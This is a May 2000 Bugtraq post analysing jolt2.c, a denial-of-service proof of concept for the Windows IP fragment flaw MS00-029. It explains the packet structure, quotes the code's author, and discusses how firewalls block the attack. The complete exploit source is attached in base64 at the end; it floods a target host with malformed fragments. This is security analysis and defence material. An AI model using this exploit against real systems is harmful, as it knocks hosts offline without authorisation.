[15086] in bugtraq
Revision 2: Analysis of jolt2.c (MS00-029)
daemon@ATHENA.MIT.EDU (Mikael Olsson)
Sun May 28 15:48:03 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------8375935C18F41ACE4C4D60BA"
Message-Id: <392FEBDC.78E41021@enternet.se>
Date: Sat, 27 May 2000 17:38:04 +0200
Reply-To: Mikael Olsson <mikael.olsson@ENTERNET.SE>
From: Mikael Olsson <mikael.olsson@ENTERNET.SE>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
--------------8375935C18F41ACE4C4D60BA
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
------------------------------------------------------------------
Subject: Analysis of jolt2.c
Date: 2000-05-26 (revision 1)
2000-05-27 (revision 2)
Author: Mikael Olsson, EnterNet Sweden <mikael.olsson@enternet.se>
Sent to: firewalls@lists.gnac.net
firewall-wizards@nfr.net
bugtraq@securityfocus.com
win2ksecadvice@listserv.ntsecurity.net (not subscribed!)
------------------------------------------------------------------
------------------------------------------------------------------
FOREWORD
------------------------------------------------------------------
I decided to release this update after being flamed by several
people telling me just how wrong I am, and that I should "check
my facts" before posting.
Note, however, that I _did_ check my facts.
All I did was analyze the "jolt2.c" code as presented, which
means I had the facts right in front of me.
Reportedly, this code snippet is not the same code used as
in finding the vulnerability. Hence, I'm theorizing quite
a bit and freely questioning the results.
This update contains a few corrections (snafus on my part)
aswell as comments from other people, mainly Phonix, who
wrote the proof-of-concept snippet "jolt2.c".
------------------------------------------------------------------
ANALYSIS OF JOLT2.C (attached)
------------------------------------------------------------------
There are two modes of operation:
- Illegaly fragmented ICMP ECHOs (pings)
- Illegaly fragmented UDP packets
They both send out a continous stream of identical
fragments (same offset, same frag ID, same everything)
where the fragments are constructed such that:
- ALL fragments are sent with fragment offset 65520.
(REVISED: I found this snafu myself. The value transmitted
is 8190, but this is the number of 64-bit blocks, so the
real offset is 65520.)
- 9 bytes of IP data are sent (total packet length 29)
- IP packet ID is 0x0455
- TTL is initially 255
- Source address is not spoofed
- Destination address is victim address
- IP checksum is set to zero (should be illegal)
(REVISED! If the checksum is automatically computed by
the IP stack or the NIC, it won't be zero)
- IP total length is set to 68 (IP+8+40) (illegal!)
- The IP MF flag is set to zero (last fragment)
Phonix <phonix@moocow.org> wrote:
> For the most part, the values in the IP header don't matter.
> The important thing is that the fragment offset be non-zero
> (even offset 1 will work). The IP_MF bit does not matter;
> the Windows machine locks up in either case.
The code also ensures that correct UDP/ICMP headers are
sent. However, do not be fooled by this behaviour.
The headers are NOT sent in a fragment with offset zero,
so they will never be parsed as UDP/ICMP headers by
the recipient. They are treated as "just another 9 bytes
of data".
As such, all that can be said is that it is sending "UDP"
or "ICMP" data. It is NOT sending a specific ICMP type,
and it is NOT sending to a specific UDP port!
Phonix <phonix@moocow.org> wrote:
> The code was taken from other places as a proof-of-concept.
> Had the code needed to be pretty, it would have been.
Point taken, Phonix :-)
The ICMP header sent is an ICMP ECHO (ping) with
code=0
checksum=0
unused 32-bit value = 0
the one data byte = 0
The UDP header sent has dest port = user-specified,
src port = user-specified (binary OR) 1235
checksum = 0
UDP total length = 9
the one data byte = 'a'
Again: No one will parse these headers, it's just
"another 9 bytes of data".
In the source, the IP checksum is set to zero. I incorrectly
took this to mean that it won't propagate across routers, and
that the MS IP stack accepts them even though the checksum
is invalid. However:
Phonix <phonix@moocow.org> wrote:
> By the way, setting the checksum to 0 is perfectly valid
> if you are offloading the checksumming to the NIC.
The code never mentioned this, and I failed to think of it.
However :
Phonix <phonix@moocow.org> wrote:
> I haven't verified that it works with 0 checksums out
> on the wire.
If someone can verify that the problem still exists when
checksums are _transmitted_ as zero, we'd all be grateful.
This would illustrate an even worse failing in the MS
stack. According to RFC1812, the only action taken
on a packet before the checksum check should be to verify
that it is large enough to contain the basic IP header.
(Flames begone! I said "would"!)
In reading the code, I noticed that there is no rate
limit on the fragments sent. Rather, it sends an unlimited
stream of fragments as fast as the sender can handle.
I originally thought that this _may_ be proof of another
problem - What if _this_ code isn't exploiting a fragmentation
vulnerability, but rather a network layer resource exhaustion
vulnerability? The net results could be the same (CPU and RAM
crunching), but be caused by entirely different reasons.
Several people have told (flamed?) me that I am completely wrong,
simply because the Microsoft and Bindview advisories state
that it is a fragmentation problem.
This does not change the facts however. I would _really_
like to see this code (jolt2.c) have the same results
_WITH_ rate limiting implemented before I blindly accept
the results. (I'm not saying anyone is lying here, I just
like seeing proof before accepting something as facts.)
Again, analyzing the structure of the fragments.
- The data _sent_ is 29 bytes (20 IP + 9 data), which is valid
as it is a last fragment (MF=0).
- However, the total length reported by the IP header is 68
bytes. This means that the packet should fail structural
tests, if there are any. [snip poisonous statement about
A Large OS Vendor's code quality]
Receipt of a packet with a reported length being larger
than the actual received length is a normal occurence,
it'll happen any time a packet is truncated during transport.
- According to the IP header total length, the amount of
IP data is 48 bytes. Since the offset is 65520, this would
result in a IP packet length overflow; the maximum allowed
length is 65535.
Note however that the data sent (9 bytes) would not cause
an overflow.
- Fragments are flagged as being "last fragments".
------------------------------------------------------------------
CONCLUSIONS OF THE ATTACK
------------------------------------------------------------------
In conclusion, I see two ways that this could cause crashes:
1. Microsoft doesn't verify the structural integrity (the
packet is truncated!)
Microsoft fails to detect that the fragment would overflow
the IP length limit.
Microsoft stores all fragments received, consuming large
amounts of RAM and perhaps triggering something very
time-consuming for every fragment received
(This is sort of odd however, since all fragments have
the same offset, they should simply overwrite eachother?)
The fragment will never reassemble.
2. It is really a network layer resource exhaustion attack
rather than a fragmentation attack. (NOTE! THIS IS JUST
A THEORY! I WOULD HAPPILY BE PROVEN WRONG HERE, BUT PLEASE
PROVIDE PROOF RATHER THAN JUST FLAME ME!)
I can see how 1) could cause problems. If there is some sort
of garbage collection mechanism, it would attempt to find
the "oldest" reassembly attempt and discard it when resources
are running low. However, all fragments belong to the
same reassembly. So, if the garbage collection routine isn't
able to detect that there's something fishy with the "current"
reassembly and discard IT, we'd get resource exhaustion.
------------------------------------------------------------------
REFERENCES
------------------------------------------------------------------
The below header comes from jolt2.c:
/*
* File: jolt2.c
* Author: Phonix <phonix@moocow.org>
* Date: 23-May-00
*
* Description: This is the proof-of-concept code for the
* Windows denial-of-serice attack described by
* the Razor team (NTBugtraq, 19-May-00)
* (MS00-029). This code causes cpu utilization
* to go to 100%.
*
* Tested against: Win98; NT4/SP5,6; Win2K
*
* Written for: My Linux box. YMMV. Deal with it.
*
* Thanks: This is standard code. Ripped from lots of places.
* Insert your name here if you think you wrote some of
* it. It's a trivial exploit, so I won't take credit
* for anything except putting this file together.
*/
------------------------------------------------------------------
HOW DO FIREWALLS PROTECT AGAINST THIS ATTACK?
------------------------------------------------------------------
(STATEFUL) PACKET FILTERING FIREWALLS:
* The packet fails structural integrity tests. The reported
length (68) is much larger than the received length (29).
However: A broken router may decide to send 68 bytes when
forwarding it (adding 39 bytes of random padding).
I do not know what impact this will have on the receiving
end.
* This incarnation of the attack is also illegal in that it
wraps the IP packet size limit. The IP data length reported
is 48, and the offset is 65520.
* If the firewall has any sort of (pseudo)fragment reassembly,
it shouldn't forward a single packet, since there are
no valid fragments preceding the attack sequence.
* If the firewall maps fragments to open connections, it
should detect that there is no open connection for this
particular packet, thereby discarding it.
PROXY FIREWALLS:
* A proxy function will never pass this attack pattern to
the protected network. (Note: assumes that there is no
packet filtering functionality applied to the firewall)
* If the proxy firewall is running on a vulnerable OS and
doesn't have its own network layer code (relies on the MS stack),
the attack will DoS the firewall itself, effectively
DoSing your entire connection.
ANY TYPE FIREWALL:
* If the firewall does fragment reassembly in an incorrect
way (maybe by trusting vulnerable MS stacks to do it), it
will be vulnerable to the attack, regardless of which
type of firewall it is.
I will NOT speculate on which firewall is vulnerable to
direct attack, protects against the attack, or passes
it through.
------------------------------------------------------------------
Well, that's it for this time. Again, please remember that this
is an analysis of "jolt2.c" as provided to the security community.
I have no intimate knowledge of the attack described by MS00-029
or Bindview, other than that publicly announced by them.
The source of jolt2.c is attached.
Regards,
Mikael Olsson
--
Mikael Olsson, EnterNet Sweden AB, Box 393, SE-891 28 VRNSKVLDSVIK
Phone: +46-(0)660-29 92 00 Fax: +46-(0)660-122 50
Mobile: +46-(0)70-66 77 636
WWW: http://www.enternet.se E-mail: mikael.olsson@enternet.se
--------------8375935C18F41ACE4C4D60BA
Content-Type: application/x-unknown-content-type-cfile;
name="jolt2.c"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
filename="jolt2.c"
LyoNCiAgKiBGaWxlOiAgIGpvbHQyLmMNCiAgKiBBdXRob3I6IFBob25peCA8cGhvbml4QG1vb2Nv
dy5vcmc+DQogICogRGF0ZTogICAyMy1NYXktMDANCiAgKg0KICAqIERlc2NyaXB0aW9uOiBUaGlz
IGlzIHRoZSBwcm9vZi1vZi1jb25jZXB0IGNvZGUgZm9yIHRoZQ0KICAqICAgICAgICAgICAgICBX
aW5kb3dzIGRlbmlhbC1vZi1zZXJpY2UgYXR0YWNrIGRlc2NyaWJlZCBieQ0KICAqICAgICAgICAg
ICAgICB0aGUgUmF6b3IgdGVhbSAoTlRCdWd0cmFxLCAxOS1NYXktMDApDQogICogICAgICAgICAg
ICAgIChNUzAwLTAyOSkuICBUaGlzIGNvZGUgY2F1c2VzIGNwdSB1dGlsaXphdGlvbg0KICAqICAg
ICAgICAgICAgICB0byBnbyB0byAxMDAlLg0KICAqDQogICogVGVzdGVkIGFnYWluc3Q6IFdpbjk4
OyBOVDQvU1A1LDY7IFdpbjJLDQogICoNCiAgKiBXcml0dGVuIGZvcjogTXkgTGludXggYm94LiAg
WU1NVi4gIERlYWwgd2l0aCBpdC4NCiAgKg0KICAqIFRoYW5rczogVGhpcyBpcyBzdGFuZGFyZCBj
b2RlLiAgUmlwcGVkIGZyb20gbG90cyBvZiBwbGFjZXMuDQogICogICAgICAgICBJbnNlcnQgeW91
ciBuYW1lIGhlcmUgaWYgeW91IHRoaW5rIHlvdSB3cm90ZSBzb21lIG9mDQogICogICAgICAgICBp
dC4gIEl0J3MgYSB0cml2aWFsIGV4cGxvaXQsIHNvIEkgd29uJ3QgdGFrZSBjcmVkaXQNCiAgKiAg
ICAgICAgIGZvciBhbnl0aGluZyBleGNlcHQgcHV0dGluZyB0aGlzIGZpbGUgdG9nZXRoZXIuDQog
ICovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUg
PG5ldGRiLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90eXBlcy5o
Pg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2lwLmg+DQojaW5j
bHVkZSA8bmV0aW5ldC9pcF9pY21wLmg+DQojaW5jbHVkZSA8bmV0aW5ldC91ZHAuaD4NCiNpbmNs
dWRlIDxhcnBhL2luZXQuaD4NCiNpbmNsdWRlIDxnZXRvcHQuaD4NCg0Kc3RydWN0IF9wa3QNCnsN
CiAgIHN0cnVjdCBpcGhkciAgICBpcDsNCiAgIHVuaW9uIHsNCiAgICAgc3RydWN0IGljbXBoZHIg
IGljbXA7DQogICAgIHN0cnVjdCB1ZHBoZHIgICB1ZHA7DQogICB9ICBwcm90bzsNCiAgIGNoYXIg
ZGF0YTsNCn0gcGt0Ow0KDQppbnQgaWNtcGxlbiAgPSBzaXplb2Yoc3RydWN0IGljbXBoZHIpLA0K
ICAgICB1ZHBsZW4gICA9IHNpemVvZihzdHJ1Y3QgdWRwaGRyKSwNCiAgICAgaXBsZW4gICAgPSBz
aXplb2Yoc3RydWN0IGlwaGRyKSwNCiAgICAgc3BmX3NjazsNCg0Kdm9pZCB1c2FnZShjaGFyICpw
bmFtZSkNCnsNCiAgIGZwcmludGYgKHN0ZGVyciwgIlVzYWdlOiAlcyBbLXMgc3JjX2FkZHJdIFst
cCBwb3J0XSBkZXN0X2FkZHJcbiIsDQogICAgICAgICAgICBwbmFtZSk7DQogICBmcHJpbnRmIChz
dGRlcnIsICJOb3RlOiBVRFAgdXNlZCBpZiBhIHBvcnQgaXMgc3BlY2lmaWVkLCBvdGhlcndpc2Ug
SUNNUFxuIik7DQogICBleGl0KDApOw0KfQ0KDQp1X2xvbmcgaG9zdF90b19pcChjaGFyICpob3N0
X25hbWUpDQp7DQogICBzdGF0aWMgIHVfbG9uZyBpcF9ieXRlczsNCiAgIHN0cnVjdCBob3N0ZW50
ICpyZXM7DQoNCiAgIHJlcyA9IGdldGhvc3RieW5hbWUoaG9zdF9uYW1lKTsNCiAgIGlmIChyZXMg
PT0gTlVMTCkNCiAgICAgcmV0dXJuICgwKTsNCiAgIG1lbWNweSgmaXBfYnl0ZXMsIHJlcy0+aF9h
ZGRyLCByZXMtPmhfbGVuZ3RoKTsNCiAgIHJldHVybiAoaXBfYnl0ZXMpOw0KfQ0KDQp2b2lkIHF1
aXQoY2hhciAqcmVhc29uKQ0Kew0KICAgcGVycm9yKHJlYXNvbik7DQogICBjbG9zZShzcGZfc2Nr
KTsNCiAgIGV4aXQoLTEpOw0KfQ0KDQppbnQgZG9fZnJhZ3MgKGludCBzY2ssIHVfbG9uZyBzcmNf
YWRkciwgdV9sb25nIGRzdF9hZGRyLCBpbnQgcG9ydCkNCnsNCiAgIGludCAgICAgYnMsIHBzaXpl
Ow0KICAgdW5zaWduZWQgbG9uZyB4Ow0KICAgc3RydWN0ICBzb2NrYWRkcl9pbiB0bzsNCg0KICAg
dG8uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICB0by5zaW5fcG9ydCA9IDEyMzU7DQogICB0by5z
aW5fYWRkci5zX2FkZHIgPSBkc3RfYWRkcjsNCg0KICAgaWYgKHBvcnQpDQogICAgIHBzaXplID0g
aXBsZW4gKyB1ZHBsZW4gKyAxOw0KICAgZWxzZQ0KICAgICBwc2l6ZSA9IGlwbGVuICsgaWNtcGxl
biArIDE7DQogICBtZW1zZXQoJnBrdCwgMCwgcHNpemUpOw0KDQogICBwa3QuaXAudmVyc2lvbiA9
IDQ7DQogICBwa3QuaXAuaWhsID0gNTsNCiAgIHBrdC5pcC50b3RfbGVuID0gaHRvbnMoaXBsZW4g
KyBpY21wbGVuKSArIDQwOw0KICAgcGt0LmlwLmlkID0gaHRvbnMoMHg0NTUpOw0KICAgcGt0Lmlw
LnR0bCA9IDI1NTsNCiAgIHBrdC5pcC5wcm90b2NvbCA9IChwb3J0ID8gSVBQUk9UT19VRFAgOiBJ
UFBST1RPX0lDTVApOw0KICAgcGt0LmlwLnNhZGRyID0gc3JjX2FkZHI7DQogICBwa3QuaXAuZGFk
ZHIgPSBkc3RfYWRkcjsNCiAgIHBrdC5pcC5mcmFnX29mZiA9IGh0b25zICg4MTkwKTsNCg0KICAg
aWYgKHBvcnQpDQogICB7DQogICAgIHBrdC5wcm90by51ZHAuc291cmNlID0gaHRvbnMocG9ydHwx
MjM1KTsNCiAgICAgcGt0LnByb3RvLnVkcC5kZXN0ID0gaHRvbnMocG9ydCk7DQogICAgIHBrdC5w
cm90by51ZHAubGVuID0gaHRvbnMoOSk7DQogICAgIHBrdC5kYXRhID0gJ2EnOw0KICAgfSBlbHNl
IHsNCiAgICAgcGt0LnByb3RvLmljbXAudHlwZSA9IElDTVBfRUNITzsNCiAgICAgcGt0LnByb3Rv
LmljbXAuY29kZSA9IDA7DQogICAgIHBrdC5wcm90by5pY21wLmNoZWNrc3VtID0gMDsNCiAgIH0N
Cg0KICAgd2hpbGUgKDEpIHsNCiAgICAgYnMgPSBzZW5kdG8oc2NrLCAmcGt0LCBwc2l6ZSwgMCwg
KHN0cnVjdCBzb2NrYWRkciAqKSAmdG8sDQogICAgICAgICAgICAgICBzaXplb2Yoc3RydWN0IHNv
Y2thZGRyKSk7DQogICB9DQogICByZXR1cm4gYnM7DQp9DQoNCmludCBtYWluKGludCBhcmdjLCBj
aGFyICphcmd2W10pDQp7DQogICB1X2xvbmcgIHNyY19hZGRyLCBkc3RfYWRkcjsNCiAgIGludCBp
LCBicz0xLCBwb3J0PTA7DQogICBjaGFyIGhvc3RuYW1lWzMyXTsNCg0KICAgaWYgKGFyZ2MgPCAy
KQ0KICAgICB1c2FnZSAoYXJndlswXSk7DQoNCiAgIGdldGhvc3RuYW1lIChob3N0bmFtZSwgMzIp
Ow0KICAgc3JjX2FkZHIgPSBob3N0X3RvX2lwKGhvc3RuYW1lKTsNCg0KICAgd2hpbGUgKChpID0g
Z2V0b3B0IChhcmdjLCBhcmd2LCAiczpwOmgiKSkgIT0gRU9GKQ0KICAgew0KICAgICBzd2l0Y2gg
KGkpDQogICAgIHsNCiAgICAgICBjYXNlICdzJzoNCiAgICAgICAgIGRzdF9hZGRyID0gaG9zdF90
b19pcChvcHRhcmcpOw0KICAgICAgICAgaWYgKCFkc3RfYWRkcikNCiAgICAgICAgICAgcXVpdCgi
QmFkIHNvdXJjZSBhZGRyZXNzIGdpdmVuLiIpOw0KICAgICAgICAgYnJlYWs7DQoNCiAgICAgICBj
YXNlICdwJzoNCiAgICAgICAgIHBvcnQgPSBhdG9pKG9wdGFyZyk7DQogICAgICAgICBpZiAoKHBv
cnQgPD0wKSB8fCAocG9ydCA+IDY1NTM1KSkNCiAgICAgICAgICAgcXVpdCAoIkludmFsaWQgcG9y
dCBudW1iZXIgZ2l2ZW4uIik7DQogICAgICAgICBicmVhazsNCg0KICAgICAgIGNhc2UgJ2gnOg0K
ICAgICAgIGRlZmF1bHQ6DQogICAgICAgICB1c2FnZSAoYXJndlswXSk7DQogICAgIH0NCiAgIH0N
Cg0KICAgZHN0X2FkZHIgPSBob3N0X3RvX2lwKGFyZ3ZbYXJnYy0xXSk7DQogICBpZiAoIWRzdF9h
ZGRyKQ0KICAgICBxdWl0KCJCYWQgZGVzdGluYXRpb24gYWRkcmVzcyBnaXZlbi4iKTsNCg0KICAg
c3BmX3NjayA9IHNvY2tldChBRl9JTkVULCBTT0NLX1JBVywgSVBQUk9UT19SQVcpOw0KICAgaWYg
KCFzcGZfc2NrKQ0KICAgICBxdWl0KCJzb2NrZXQoKSIpOw0KICAgaWYgKHNldHNvY2tvcHQoc3Bm
X3NjaywgSVBQUk9UT19JUCwgSVBfSERSSU5DTCwgKGNoYXIgKikmYnMsDQogICAgICAgc2l6ZW9m
KGJzKSkgPCAwKQ0KICAgICBxdWl0KCJJUF9IRFJJTkNMIik7DQoNCiAgIGRvX2ZyYWdzIChzcGZf
c2NrLCBzcmNfYWRkciwgZHN0X2FkZHIsIHBvcnQpOw0KfQ0K
--------------8375935C18F41ACE4C4D60BA--
